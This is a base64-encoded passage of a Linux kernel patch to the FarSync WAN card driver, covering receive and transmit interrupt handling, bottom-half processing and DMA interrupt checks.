c3MpIHsKKwkJcmV0dXJuOworCX0KKworCS8qIEdldCBidWZmZXIgbGVuZ3RoICovCisJbGVuID0g RlNUX1JEVyhjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5tY250KTsKKwkvKiBEaXNjYXJkIHRo ZSBDUkMgKi8KKwlsZW4gLT0gMjsKKwlpZiAobGVuID09IDApIHsKKwkJLyoKKwkJICogVGhpcyBz ZWVtcyB0byBoYXBwZW4gb24gdGhlIFRFMSBpbnRlcmZhY2Ugc29tZXRpbWVzCisJCSAqIHNvIHRo cm93IHRoZSBmcmFtZSBhd2F5IGFuZCBsb2cgdGhlIGV2ZW50LgorCQkgKi8KKwkJcHJpbnRrX2Vy cigiRnJhbWUgcmVjZWl2ZWQgd2l0aCAwIGxlbmd0aC4gQ2FyZCAlZCBQb3J0ICVkXG4iLAorCQkJ ICAgY2FyZC0+Y2FyZF9ubywgcG9ydC0+aW5kZXgpOworCQkvKiBSZXR1cm4gZGVzY3JpcHRvciB0 byBjYXJkICovCisJCUZTVF9XUkIoY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0cywgRE1B X09XTik7CisKKwkJcnhwID0gKHJ4cCsxKSAlIE5VTV9SWF9CVUZGRVI7CisJCXBvcnQtPnJ4cG9z ID0gcnhwOworCQlyZXR1cm47CisJfQogCi0gICAgICAgIHBvcnRfdG9fZGV2ICggcG9ydCApLT5s YXN0X3J4ID0gamlmZmllczsKKwkvKiBDaGVjayBidWZmZXIgbGVuZ3RoIGFuZCBmb3Igb3RoZXIg ZXJyb3JzLiBXZSBpbnNpc3Qgb24gb25lIHBhY2tldAorCSAqIGluIG9uZSBidWZmZXIuIFRoaXMg c2ltcGxpZmllcyB0aGluZ3MgZ3JlYXRseSBhbmQgc2luY2Ugd2UndmUKKwkgKiBhbGxvY2F0ZWQg OEsgaXQgc2hvdWxkbid0IGJlIGEgcmVhbCB3b3JsZCBsaW1pdGF0aW9uCisJICovCisJZGJnKERC R19SWCwgImludHJfcng6ICVkLCVkOiBmbGFncyAleCBsZW4gJWRcbiIsIHBpLCByeHAsIGRtYWJp dHMsIGxlbik7CisJaWYgKGRtYWJpdHMgIT0gKFJYX1NUUCB8IFJYX0VOUCkgfHwgbGVuID4gTEVO X1JYX0JVRkZFUiAtIDIpIHsKKwkJZnN0X2xvZ19yeF9lcnJvcihjYXJkLCBwb3J0LCBkbWFiaXRz LCByeHAsIGxlbik7CisJCWZzdF9yZWNvdmVyX3J4X2Vycm9yKGNhcmQsIHBvcnQsIGRtYWJpdHMs IHJ4cCwgbGVuKTsKKwkJcmV0dXJuOworCX0KKworCS8qIEFsbG9jYXRlIFNLQiAqLworCWlmICgo c2tiID0gZGV2X2FsbG9jX3NrYihsZW4pKSA9PSBOVUxMKSB7CisJCWRiZyhEQkdfUlgsICJpbnRy X3J4OiBjYW4ndCBhbGxvY2F0ZSBidWZmZXJcbiIpOworCisJCXBvcnQtPmhkbGMuc3RhdHMucnhf ZHJvcHBlZCsrOworCisJCS8qIFJldHVybiBkZXNjcmlwdG9yIHRvIGNhcmQgKi8KKwkJRlNUX1dS QihjYXJkLCByeERlc2NyUmluZ1twaV1bcnhwXS5iaXRzLCBETUFfT1dOKTsKKworCQlyeHAgPSAo cnhwKzEpICUgTlVNX1JYX0JVRkZFUjsKKwkJcG9ydC0+cnhwb3MgPSByeHA7CisJCXJldHVybjsK Kwl9CisKKwkvKgorCSAqIFdlIGtub3cgdGhlIGxlbmd0aCB3ZSBuZWVkIHRvIHJlY2VpdmUsIGxl bi4KKwkgKiBJdCdzIG5vdCB3b3J0aCB1c2luZyB0aGUgRE1BIGZvciByZWFkcyBvZiBsZXNzIHRo YW4KKwkgKiBGU1RfTUlOX0RNQV9MRU4KKwkgKi8KKworCWlmICgobGVuIDwgRlNUX01JTl9ETUFf TEVOKSB8fCAoY2FyZC0+ZmFtaWx5ID09IEZTVF9GQU1JTFlfVFhQKSkgeworCQltZW1jcHlfZnJv bWlvKHNrYl9wdXQoc2tiLCBsZW4pLAorCQkJICAgICAgY2FyZC0+bWVtICsgQlVGX09GRlNFVChy eEJ1ZmZlcltwaV1bcnhwXVswXSksCisJCQkgICAgICBsZW4pOworCisJCS8qIFJlc2V0IGJ1ZmZl ciBkZXNjcmlwdG9yICovCisJCUZTVF9XUkIoY2FyZCwgcnhEZXNjclJpbmdbcGldW3J4cF0uYml0 cywgRE1BX09XTik7CisKKwkJLyogVXBkYXRlIHN0YXRzICovCisJCXBvcnQtPmhkbGMuc3RhdHMu cnhfcGFja2V0cysrOworCQlwb3J0LT5oZGxjLnN0YXRzLnJ4X2J5dGVzICs9IGxlbjsKKworCQkv KiBQdXNoIHVwc3RyZWFtICovCisJCWRiZyhEQkdfUlgsICJQdXNoaW5nIGZyYW1lIHVwIHRoZSBz dGFja1xuIik7CisJCXNrYi0+bWFjLnJhdyA9IHNrYi0+ZGF0YTsKKwkJc2tiLT5kZXYgPSBoZGxj X3RvX2RldigmcG9ydC0+aGRsYyk7CisJCWlmIChwb3J0LT5tb2RlID09IEZTVF9SQVcpIHsKKwkJ CS8qCisJCQkgKiBNYXJrIGl0IGZvciBvdXIgb3duIHJhdyBzb2NrZXRzIGludGVyZmFjZQorCQkJ ICovCisJCQlza2ItPnByb3RvY29sID0gaHRvbnMoRVRIX1BfQ1VTVCk7CisJCQlza2ItPnBrdF90 eXBlID0gUEFDS0VUX0hPU1Q7CisJCX0gZWxzZSB7CisJCQlza2ItPnByb3RvY29sID0gaGRsY190 eXBlX3RyYW5zKHNrYiwgc2tiLT5kZXYpOworCQl9CisJCXJ4X3N0YXR1cyA9IG5ldGlmX3J4KHNr Yik7CisJCWZzdF9wcm9jZXNzX3J4X3N0YXR1cyhyeF9zdGF0dXMsIHBvcnRfdG9fZGV2KHBvcnQp LT5uYW1lKTsKKwkJaWYgKHJ4X3N0YXR1cyA9PSBORVRfUlhfRFJPUCkgeworCQkJcG9ydC0+aGRs Yy5zdGF0cy5yeF9kcm9wcGVkKys7CisJCX0KKwkJcG9ydF90b19kZXYocG9ydCktPmxhc3Rfcngg PSBqaWZmaWVzOworCX0gZWxzZSB7CisJCWNhcmQtPmRtYV9za2JfcnggPSBza2I7CisJCWNhcmQt PmRtYV9wb3J0X3J4ID0gcG9ydDsKKwkJY2FyZC0+ZG1hX2xlbl9yeCA9IGxlbjsKKwkJY2FyZC0+ ZG1hX3J4cG9zID0gcnhwOworCQlmc3RfcnhfZG1hKGNhcmQsIChjaGFyICopIGNhcmQtPnJ4X2Rt YV9oYW5kbGVfY2FyZCwKKwkJCSAgIChjaGFyICopIEJVRl9PRkZTRVQocnhCdWZmZXJbcGldW3J4 cF1bMF0pLCBsZW4pOworCX0KKwlpZiAocnhwICE9IHBvcnQtPnJ4cG9zKSB7CisJCWRiZyhEQkdf QVNTLCAiQWJvdXQgdG8gaW5jcmVtZW50IHJ4cG9zIGJ5IG1vcmUgdGhhbiAxXG4iKTsKKwkJZGJn KERCR19BU1MsICJyeHAgPSAlZCByeHBvcyA9ICVkXG4iLCByeHAsIHBvcnQtPnJ4cG9zKTsKKwl9 CisJcnhwID0gKHJ4cCsxKSAlIE5VTV9SWF9CVUZGRVI7CisJcG9ydC0+cnhwb3MgPSByeHA7CiB9 CiAKKy8qCisgKiAgICAgIFRoZSBib3R0b20gaGFsZnMgdG8gdGhlIElTUgorICoKKyAqLworCitz dGF0aWMgdm9pZAorZG9fYm90dG9tX2hhbGZfdHgoc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQp Cit7CisJc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQ7CisJaW50IHBpOworCWludCB0eHFfbGVu Z3RoOworCXN0cnVjdCBza19idWZmICpza2I7CisJdW5zaWduZWQgbG9uZyBmbGFnczsKKworCS8q CisJICogIEZpbmQgYSBmcmVlIGJ1ZmZlciBmb3IgdGhlIHRyYW5zbWl0CisJICogIFN0ZXAgdGhy b3VnaCBlYWNoIHBvcnQgb24gdGhpcyBjYXJkCisJICovCisKKwlkYmcoREJHX1RYLCAiZG9fYm90 dG9tX2hhbGZfdHhcbiIpOworCWZvciAocGkgPSAwLCBwb3J0ID0gY2FyZC0+cG9ydHM7IHBpIDwg Y2FyZC0+bnBvcnRzOyBwaSsrLCBwb3J0KyspIHsKKwkJaWYgKCFwb3J0LT5ydW4pCisJCQljb250 aW51ZTsKKworCQl3aGlsZSAoIQorCQkgICAgICAgKEZTVF9SREIoY2FyZCwgdHhEZXNjclJpbmdb cGldW3BvcnQtPnR4cG9zXS5iaXRzKSAmCisJCQlETUFfT1dOKQorJiYgIShjYXJkLT5kbWF0eF9p bl9wcm9ncmVzcykpIHsKKwkJCS8qCisJCQkgKiBUaGVyZSBkb2Vzbid0IHNlZW0gdG8gYmUgYSB0 eGRvbmUgZXZlbnQgcGVyLXNlCisJCQkgKiBXZSBzZWVtIHRvIGhhdmUgdG8gZGVkdWNlIGl0LCBi eSBjaGVja2luZyB0aGUgRE1BX09XTgorCQkJICogYml0IG9uIHRoZSBuZXh0IGJ1ZmZlciB3ZSB0 aGluayB3ZSBjYW4gdXNlCisJCQkgKi8KKwkJCXNwaW5fbG9ja19pcnFzYXZlKCZjYXJkLT5jYXJk X2xvY2ssIGZsYWdzKTsKKwkJCWlmICgodHhxX2xlbmd0aCA9IHBvcnQtPnR4cWUgLSBwb3J0LT50 eHFzKSA8IDApIHsKKwkJCQkvKgorCQkJCSAqIFRoaXMgaXMgdGhlIGNhc2Ugd2hlcmUgb25lIGhh cyB3cmFwcGVkIGFuZCB0aGUKKwkJCQkgKiBtYXRocyBnaXZlcyB1cyBhIG5lZ2F0aXZlIG51bWJl cgorCQkJCSAqLworCQkJCXR4cV9sZW5ndGggPSB0eHFfbGVuZ3RoICsgRlNUX1RYUV9ERVBUSDsK KwkJCX0KKwkJCXNwaW5fdW5sb2NrX2lycXJlc3RvcmUoJmNhcmQtPmNhcmRfbG9jaywgZmxhZ3Mp OworCQkJaWYgKHR4cV9sZW5ndGggPiAwKSB7CisJCQkJLyoKKwkJCQkgKiBUaGVyZSBpcyBzb21l dGhpbmcgdG8gc2VuZAorCQkJCSAqLworCQkJCXNwaW5fbG9ja19pcnFzYXZlKCZjYXJkLT5jYXJk X2xvY2ssIGZsYWdzKTsKKwkJCQlza2IgPSBwb3J0LT50eHFbcG9ydC0+dHhxc107CisJCQkJcG9y dC0+dHhxcysrOworCQkJCWlmIChwb3J0LT50eHFzID09IEZTVF9UWFFfREVQVEgpIHsKKwkJCQkJ cG9ydC0+dHhxcyA9IDA7CisJCQkJfQorCQkJCXNwaW5fdW5sb2NrX2lycXJlc3RvcmUoJmNhcmQt PmNhcmRfbG9jaywgZmxhZ3MpOworCQkJCS8qCisJCQkJICogY29weSB0aGUgZGF0YSBhbmQgc2V0 IHRoZSByZXF1aXJlZCBpbmRpY2F0b3JzIG9uIHRoZQorCQkJCSAqIGNhcmQuCisJCQkJICovCisJ CQkJRlNUX1dSVyhjYXJkLCB0eERlc2NyUmluZ1twaV1bcG9ydC0+dHhwb3NdLmJjbnQsCisJCQkJ CWNudl9iY250KHNrYi0+bGVuKSk7CisJCQkJaWYgKChza2ItPmxlbiA8IEZTVF9NSU5fRE1BX0xF TikKKwkJCQkgICAgfHwgKGNhcmQtPmZhbWlseSA9PSBGU1RfRkFNSUxZX1RYUCkpIHsKKwkJCQkJ LyogRW5xdWV1ZSB0aGUgcGFja2V0IHdpdGggbm9ybWFsIGlvICovCisJCQkJCW1lbWNweV90b2lv KGNhcmQtPm1lbSArCisJCQkJCQkgICAgQlVGX09GRlNFVCh0eEJ1ZmZlcltwaV0KKwkJCQkJCQkg ICAgICAgW3BvcnQtPgorCQkJCQkJCQl0eHBvc11bMF0pLAorCQkJCQkJICAgIHNrYi0+ZGF0YSwg c2tiLT5sZW4pOworCQkJCQlGU1RfV1JCKGNhcmQsCisJCQkJCQl0eERlc2NyUmluZ1twaV1bcG9y dC0+dHhwb3NdLgorCQkJCQkJYml0cywKKwkJCQkJCURNQV9PV04gfCBUWF9TVFAgfCBUWF9FTlAp OworCQkJCQlwb3J0LT5oZGxjLnN0YXRzLnR4X3BhY2tldHMrKzsKKwkJCQkJcG9ydC0+aGRsYy5z dGF0cy50eF9ieXRlcyArPSBza2ItPmxlbjsKKwkJCQkJcG9ydF90b19kZXYocG9ydCktPnRyYW5z X3N0YXJ0ID0KKwkJCQkJICAgIGppZmZpZXM7CisJCQkJfSBlbHNlIHsKKwkJCQkJLyogT3IgZG8g aXQgdGhyb3VnaCBkbWEgKi8KKwkJCQkJbWVtY3B5KGNhcmQtPnR4X2RtYV9oYW5kbGVfaG9zdCwK KwkJCQkJICAgICAgIHNrYi0+ZGF0YSwgc2tiLT5sZW4pOworCQkJCQljYXJkLT5kbWFfcG9ydF90 eCA9IHBvcnQ7CisJCQkJCWNhcmQtPmRtYV9sZW5fdHggPSBza2ItPmxlbjsKKwkJCQkJY2FyZC0+ ZG1hX3R4cG9zID0gcG9ydC0+dHhwb3M7CisJCQkJCWZzdF90eF9kbWEoY2FyZCwKKwkJCQkJCSAg IChjaGFyICopIGNhcmQtPgorCQkJCQkJICAgdHhfZG1hX2hhbmRsZV9jYXJkLAorCQkJCQkJICAg KGNoYXIgKikKKwkJCQkJCSAgIEJVRl9PRkZTRVQodHhCdWZmZXJbcGldCisJCQkJCQkJICAgICAg W3BvcnQtPnR4cG9zXVswXSksCisJCQkJCQkgICBza2ItPmxlbik7CisJCQkJfQorCQkJCWlmICgr K3BvcnQtPnR4cG9zID49IE5VTV9UWF9CVUZGRVIpCisJCQkJCXBvcnQtPnR4cG9zID0gMDsKKwkJ CQkvKgorCQkJCSAqIElmIHdlIGhhdmUgZmxvdyBjb250cm9sIG9uLCBjYW4gd2Ugbm93IHJlbGVh c2UgaXQ/CisJCQkJICovCisJCQkJaWYgKHBvcnQtPnN0YXJ0KSB7CisJCQkJCWlmICh0eHFfbGVu Z3RoIDwgZnN0X3R4cV9sb3cpIHsKKwkJCQkJCW5ldGlmX3dha2VfcXVldWUocG9ydF90b19kZXYK KwkJCQkJCQkJIChwb3J0KSk7CisJCQkJCQlwb3J0LT5zdGFydCA9IDA7CisJCQkJCX0KKwkJCQl9 CisJCQkJZGV2X2tmcmVlX3NrYihza2IpOworCQkJfSBlbHNlIHsKKwkJCQkvKgorCQkJCSAqIE5v dGhpbmcgdG8gc2VuZCBzbyBicmVhayBvdXQgb2YgdGhlIHdoaWxlIGxvb3AKKwkJCQkgKi8KKwkJ CQlicmVhazsKKwkJCX0KKwkJfQorCX0KK30KKworc3RhdGljIHZvaWQKK2RvX2JvdHRvbV9oYWxm X3J4KHN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkKQoreworCXN0cnVjdCBmc3RfcG9ydF9pbmZv ICpwb3J0OworCWludCBwaTsKKwlpbnQgcnhfY291bnQgPSAwOworCisJLyogQ2hlY2sgZm9yIHJ4 IGNvbXBsZXRpb25zIG9uIGFsbCBwb3J0cyBvbiB0aGlzIGNhcmQgKi8KKwlkYmcoREJHX1JYLCAi ZG9fYm90dG9tX2hhbGZfcnhcbiIpOworCWZvciAocGkgPSAwLCBwb3J0ID0gY2FyZC0+cG9ydHM7 IHBpIDwgY2FyZC0+bnBvcnRzOyBwaSsrLCBwb3J0KyspIHsKKwkJaWYgKCFwb3J0LT5ydW4pCisJ CQljb250aW51ZTsKKwkJd2hpbGUgKCEoRlNUX1JEQihjYXJkLCByeERlc2NyUmluZ1twaV1bcG9y dC0+cnhwb3NdLmJpdHMpCisJCQkgJiBETUFfT1dOKSAmJiAhKGNhcmQtPmRtYXJ4X2luX3Byb2dy ZXNzKSkgeworCQkJaWYgKHJ4X2NvdW50ID4gZnN0X21heF9yZWFkcykgeworCQkJCS8qCisJCQkJ ICogRG9uJ3Qgc3BlbmQgZm9yZXZlciBpbiByZWNlaXZlIHByb2Nlc3NpbmcKKwkJCQkgKiBTY2hl ZHVsZSBhbm90aGVyIGV2ZW50CisJCQkJICovCisJCQkJZnN0X3Ffd29ya19pdGVtKCZmc3Rfd29y a19pbnRxLCBjYXJkLT5jYXJkX25vKTsKKwkJCQl0YXNrbGV0X3NjaGVkdWxlKCZmc3RfaW50X3Rh c2spOworCQkJCWJyZWFrOwkvKiBMZWF2ZSB0aGUgbG9vcCAqLworCQkJfQorCQkJZnN0X2ludHJf cngoY2FyZCwgcG9ydCk7CisJCQlyeF9jb3VudCsrOworCQl9CisJfQorfQogCiAvKgogICogICAg ICBUaGUgaW50ZXJydXB0IHNlcnZpY2Ugcm91dGluZQogICogICAgICBEZXZfaWQgaXMgb3VyIGZz dF9jYXJkX2luZm8gcG9pbnRlcgogICovCiBzdGF0aWMgdm9pZAotZnN0X2ludHIgKCBpbnQgaXJx LCB2b2lkICpkZXZfaWQsIHN0cnVjdCBwdF9yZWdzICpyZWdzICkKK2ZzdF9pbnRyKGludCBpcnEs IHZvaWQgKmRldl9pZCwgc3RydWN0IHB0X3JlZ3MgKnJlZ3MpCiB7Ci0gICAgICAgIHN0cnVjdCBm c3RfY2FyZF9pbmZvICpjYXJkOwotICAgICAgICBzdHJ1Y3QgZnN0X3BvcnRfaW5mbyAqcG9ydDsK LSAgICAgICAgaW50IHJkaWR4OyAgICAgICAgICAgICAgICAgICAgICAvKiBFdmVudCBidWZmZXIg aW5kaWNlcyAqLwotICAgICAgICBpbnQgd3JpZHg7Ci0gICAgICAgIGludCBldmVudDsgICAgICAg ICAgICAgICAgICAgICAgLyogQWN0dWFsIGV2ZW50IGZvciBwcm9jZXNzaW5nICovCi0gICAgICAg IGludCBwaTsKLQotICAgICAgICBpZiAoKCBjYXJkID0gZGV2X2lkICkgPT0gTlVMTCApCi0gICAg ICAgIHsKLSAgICAgICAgICAgICAgICBkYmcgKCBEQkdfSU5UUiwiaW50cjogc3B1cmlvdXMgJWRc biIsIGlycSApOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotCi0gICAgICAg IGRiZyAoIERCR19JTlRSLCJpbnRyOiAlZCAlcFxuIiwgaXJxLCBjYXJkICk7Ci0KLSAgICAgICAg c3Bpbl9sb2NrICggJmNhcmQtPmNhcmRfbG9jayApOwotCi0gICAgICAgIC8qIENsZWFyIGFuZCBy ZXByaW1lIHRoZSBpbnRlcnJ1cHQgc291cmNlICovCi0gICAgICAgIGZzdF9jbGVhcl9pbnRyICgg Y2FyZCApOwotCi0gICAgICAgIC8qIFNldCB0aGUgc29mdHdhcmUgYWNrbm93bGVkZ2UgKi8KLSAg ICAgICAgRlNUX1dSQiAoIGNhcmQsIGludGVycnVwdEhhbmRzaGFrZSwgMHhFRSApOwotCi0gICAg ICAgIC8qIERyYWluIHRoZSBldmVudCBxdWV1ZSAqLwotICAgICAgICByZGlkeCA9IEZTVF9SREIg KCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5yZGluZGV4ICk7Ci0gICAgICAgIHdyaWR4ID0gRlNUX1JE QiAoIGNhcmQsIGludGVycnVwdEV2ZW50LndyaW5kZXggKTsKLSAgICAgICAgd2hpbGUgKCByZGlk eCAhPSB3cmlkeCApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBldmVudCA9IEZTVF9SREIg KCBjYXJkLCBpbnRlcnJ1cHRFdmVudC5ldm50YnVmZltyZGlkeF0pOwotCi0gICAgICAgICAgICAg ICAgcG9ydCA9ICZjYXJkLT5wb3J0c1tldmVudCAmIDB4MDNdOwotCi0gICAgICAgICAgICAgICAg ZGJnICggREJHX0lOVFIsImludHI6ICV4XG4iLCBldmVudCApOwotCi0gICAgICAgICAgICAgICAg c3dpdGNoICggZXZlbnQgKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICBjYXNl IENUTEFfQ0hHOgotICAgICAgICAgICAgICAgIGNhc2UgQ1RMQl9DSEc6Ci0gICAgICAgICAgICAg ICAgY2FzZSBDVExDX0NIRzoKLSAgICAgICAgICAgICAgICBjYXNlIENUTERfQ0hHOgotICAgICAg ICAgICAgICAgICAgICAgICAgaWYgKCBwb3J0LT5ydW4gKQotICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBmc3RfaW50cl9jdGxjaGcgKCBjYXJkLCBwb3J0ICk7Ci0gICAgICAgICAgICAg ICAgICAgICAgICBicmVhazsKLQotICAgICAgICAgICAgICAgIGNhc2UgQUJUQV9TRU5UOgotICAg ICAgICAgICAgICAgIGNhc2UgQUJUQl9TRU5UOgotICAgICAgICAgICAgICAgIGNhc2UgQUJUQ19T RU5UOgotICAgICAgICAgICAgICAgIGNhc2UgQUJURF9TRU5UOgotICAgICAgICAgICAgICAgICAg ICAgICAgZGJnICggREJHX1RYLCJBYm9ydCBjb21wbGV0ZSBwb3J0ICVkXG4iLCBldmVudCAmIDB4 MDMgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwotCi0gICAgICAgICAgICAgICAg Y2FzZSBUWEFfVU5ERjoKLSAgICAgICAgICAgICAgICBjYXNlIFRYQl9VTkRGOgotICAgICAgICAg ICAgICAgIGNhc2UgVFhDX1VOREY6Ci0gICAgICAgICAgICAgICAgY2FzZSBUWERfVU5ERjoKLSAg ICAgICAgICAgICAgICAgICAgICAgIC8qIERpZmZpY3VsdCB0byBzZWUgaG93IHdlJ2QgZ2V0IHRo aXMgZ2l2ZW4gdGhhdCB3ZQotICAgICAgICAgICAgICAgICAgICAgICAgICogYWx3YXlzIGxvYWQg dXAgdGhlIGVudGlyZSBwYWNrZXQgZm9yIERNQS4KLSAgICAgICAgICAgICAgICAgICAgICAgICAq LwotICAgICAgICAgICAgICAgICAgICAgICAgZGJnICggREJHX1RYLCJUeCB1bmRlcmZsb3cgcG9y dCAlZFxuIiwgZXZlbnQgJiAweDAzICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICBwb3J0LT5o ZGxjLnN0YXRzLnR4X2Vycm9ycysrOwotICAgICAgICAgICAgICAgICAgICAgICAgcG9ydC0+aGRs Yy5zdGF0cy50eF9maWZvX2Vycm9ycysrOwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7 Ci0KLSAgICAgICAgICAgICAgICBjYXNlIElOSVRfQ1BMVDoKLSAgICAgICAgICAgICAgICAgICAg ICAgIGRiZyAoIERCR19JTklULCJDYXJkIGluaXQgT0sgaW50clxuIik7Ci0gICAgICAgICAgICAg ICAgICAgICAgICBicmVhazsKLQotICAgICAgICAgICAgICAgIGNhc2UgSU5JVF9GQUlMOgotICAg ICAgICAgICAgICAgICAgICAgICAgZGJnICggREJHX0lOSVQsIkNhcmQgaW5pdCBGQUlMRUQgaW50 clxuIik7Ci0gICAgICAgICAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9JRkFJTEVE OwotICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7Ci0KLSAgICAgICAgICAgICAgICBkZWZh dWx0OgotICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnRrX2VyciAoImludHI6IHVua25vd24g Y2FyZCBldmVudCBjb2RlLiBpZ25vcmVkXG4iKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIGJy ZWFrOwotICAgICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIC8qIEJ1bXAgYW5kIHdy YXAgdGhlIGluZGV4ICovCi0gICAgICAgICAgICAgICAgaWYgKCArK3JkaWR4ID49IE1BWF9DSVJC VUZGICkKLSAgICAgICAgICAgICAgICAgICAgICAgIHJkaWR4ID0gMDsKLSAgICAgICAgfQotICAg ICAgICBGU1RfV1JCICggY2FyZCwgaW50ZXJydXB0RXZlbnQucmRpbmRleCwgcmRpZHggKTsKLQot ICAgICAgICBmb3IgKCBwaSA9IDAsIHBvcnQgPSBjYXJkLT5wb3J0cyA7IHBpIDwgY2FyZC0+bnBv cnRzIDsgcGkrKywgcG9ydCsrICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGlmICggISBw b3J0LT5ydW4gKQotICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7Ci0KLSAgICAgICAg ICAgICAgICAvKiBDaGVjayBmb3IgcnggY29tcGxldGlvbnMgKi8KLSAgICAgICAgICAgICAgICB3 aGlsZSAoICEgKCBGU1RfUkRCICggY2FyZCwgcnhEZXNjclJpbmdbcGldW3BvcnQtPnJ4cG9zXS5i aXRzICkKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAmIERNQV9PV04gKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAg ICAgICAgICAgICAgICBmc3RfaW50cl9yeCAoIGNhcmQsIHBvcnQgKTsKLSAgICAgICAgICAgICAg ICB9Ci0KLSAgICAgICAgICAgICAgICAvKiBDaGVjayBmb3IgVHggY29tcGxldGlvbnMgKi8KLSAg ICAgICAgICAgICAgICB3aGlsZSAoIHBvcnQtPnR4Y250ID4gMCAmJiAhICggRlNUX1JEQiAoIGNh cmQsCi0gICAgICAgICAgICAgICAgICAgICAgICB0eERlc2NyUmluZ1twaV1bcG9ydC0+dHhpcG9z XS5iaXRzICkgJiBETUFfT1dOICkpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAg ICAgICAgICAgLS1wb3J0LT50eGNudDsKLSAgICAgICAgICAgICAgICAgICAgICAgIGlmICggKytw b3J0LT50eGlwb3MgPj0gTlVNX1RYX0JVRkZFUiApCi0gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIHBvcnQtPnR4aXBvcyA9IDA7Ci0gICAgICAgICAgICAgICAgICAgICAgICBuZXRpZl93 YWtlX3F1ZXVlICggcG9ydF90b19kZXYgKCBwb3J0ICkpOwotICAgICAgICAgICAgICAgIH0KLSAg ICAgICAgfQorCXN0cnVjdCBmc3RfY2FyZF9pbmZvICpjYXJkOworCXN0cnVjdCBmc3RfcG9ydF9p bmZvICpwb3J0OworCWludCByZGlkeDsJCS8qIEV2ZW50IGJ1ZmZlciBpbmRpY2VzICovCisJaW50 IHdyaWR4OworCWludCBldmVudDsJCS8qIEFjdHVhbCBldmVudCBmb3IgcHJvY2Vzc2luZyAqLwor CXVuc2lnbmVkIGludCBkbWFfaW50Y3NyID0gMDsKKwl1bnNpZ25lZCBpbnQgZG9fY2FyZF9pbnRl cnJ1cHQ7CisJdW5zaWduZWQgaW50IGludF9yZXRyeV9jb3VudDsKKworCWlmICgoY2FyZCA9IGRl dl9pZCkgPT0gTlVMTCkgeworCQlkYmcoREJHX0lOVFIsICJpbnRyOiBzcHVyaW91cyAlZFxuIiwg aXJxKTsKKwkJcmV0dXJuOworCX0KIAotICAgICAgICBzcGluX3VubG9jayAoICZjYXJkLT5jYXJk X2xvY2sgKTsKLX0KKwkvKgorCSAqIENoZWNrIHRvIHNlZSBpZiB0aGUgaW50ZXJydXB0IHdhcyBm b3IgdGhpcyBjYXJkCisJICogcmV0dXJuIGlmIG5vdAorCSAqIE5vdGUgdGhhdCB0aGUgY2FsbCB0 byBjbGVhciB0aGUgaW50ZXJydXB0IGlzIGltcG9ydGFudAorCSAqLworCWRiZyhEQkdfSU5UUiwg ImludHI6ICVkICVwXG4iLCBpcnEsIGNhcmQpOworCWlmIChjYXJkLT5zdGF0ZSAhPSBGU1RfUlVO TklORykgeworCQlwcmludGtfZXJyCisJCSAgICAoIkludGVycnVwdCByZWNlaXZlZCBmb3IgY2Fy ZCAlZCBpbiBhIG5vbiBydW5uaW5nIHN0YXRlICglZClcbiIsCisJCSAgICAgY2FyZC0+Y2FyZF9u bywgY2FyZC0+c3RhdGUpOworCisJCS8qIAorCQkgKiBJdCBpcyBwb3NzaWJsZSB0byByZWFsbHkg YmUgcnVubmluZywgaS5lLiB3ZSBoYXZlIHJlLWxvYWRlZAorCQkgKiBhIHJ1bm5pbmcgY2FyZAor CQkgKiBDbGVhciBhbmQgcmVwcmltZSB0aGUgaW50ZXJydXB0IHNvdXJjZSAKKwkJICovCisJCWZz dF9jbGVhcl9pbnRyKGNhcmQpOworCQlyZXR1cm47CisJfQorCisJLyogQ2xlYXIgYW5kIHJlcHJp bWUgdGhlIGludGVycnVwdCBzb3VyY2UgKi8KKwlmc3RfY2xlYXJfaW50cihjYXJkKTsKKworCS8q CisJICogSXMgdGhlIGludGVycnVwdCBmb3IgdGhpcyBjYXJkIChoYW5kc2hha2UgPT0gMSkKKwkg Ki8KKwlkb19jYXJkX2ludGVycnVwdCA9IDA7CisJaWYgKEZTVF9SREIoY2FyZCwgaW50ZXJydXB0 SGFuZHNoYWtlKSA9PSAxKSB7CisJCWRvX2NhcmRfaW50ZXJydXB0ICs9IEZTVF9DQVJEX0lOVDsK KwkJLyogU2V0IHRoZSBzb2Z0d2FyZSBhY2tub3dsZWRnZSAqLworCQlGU1RfV1JCKGNhcmQsIGlu dGVycnVwdEhhbmRzaGFrZSwgMHhFRSk7CisJfQorCWlmIChjYXJkLT5mYW1pbHkgPT0gRlNUX0ZB TUlMWV9UWFUpIHsKKwkJLyoKKwkJICogSXMgaXQgYSBETUEgSW50ZXJydXB0CisJCSAqLworCQlk bWFfaW50Y3NyID0gaW5sKGNhcmQtPnBjaV9jb25mICsgSU5UQ1NSXzkwNTQpOworCQlpZiAoZG1h X2ludGNzciAmIDB4MDAyMDAwMDApIHsKKwkJCS8qCisJCQkgKiBETUEgQ2hhbm5lbCAwIChSeCB0 cmFuc2ZlciBjb21wbGV0ZSkKKwkJCSAqLworCQkJZGJnKERCR19SWCwgIkRNQSBSeCB4ZmVyIGNv bXBsZXRlXG4iKTsKKwkJCW91dGIoMHg4LCBjYXJkLT5wY2lfY29uZiArIERNQUNTUjApOworCQkJ 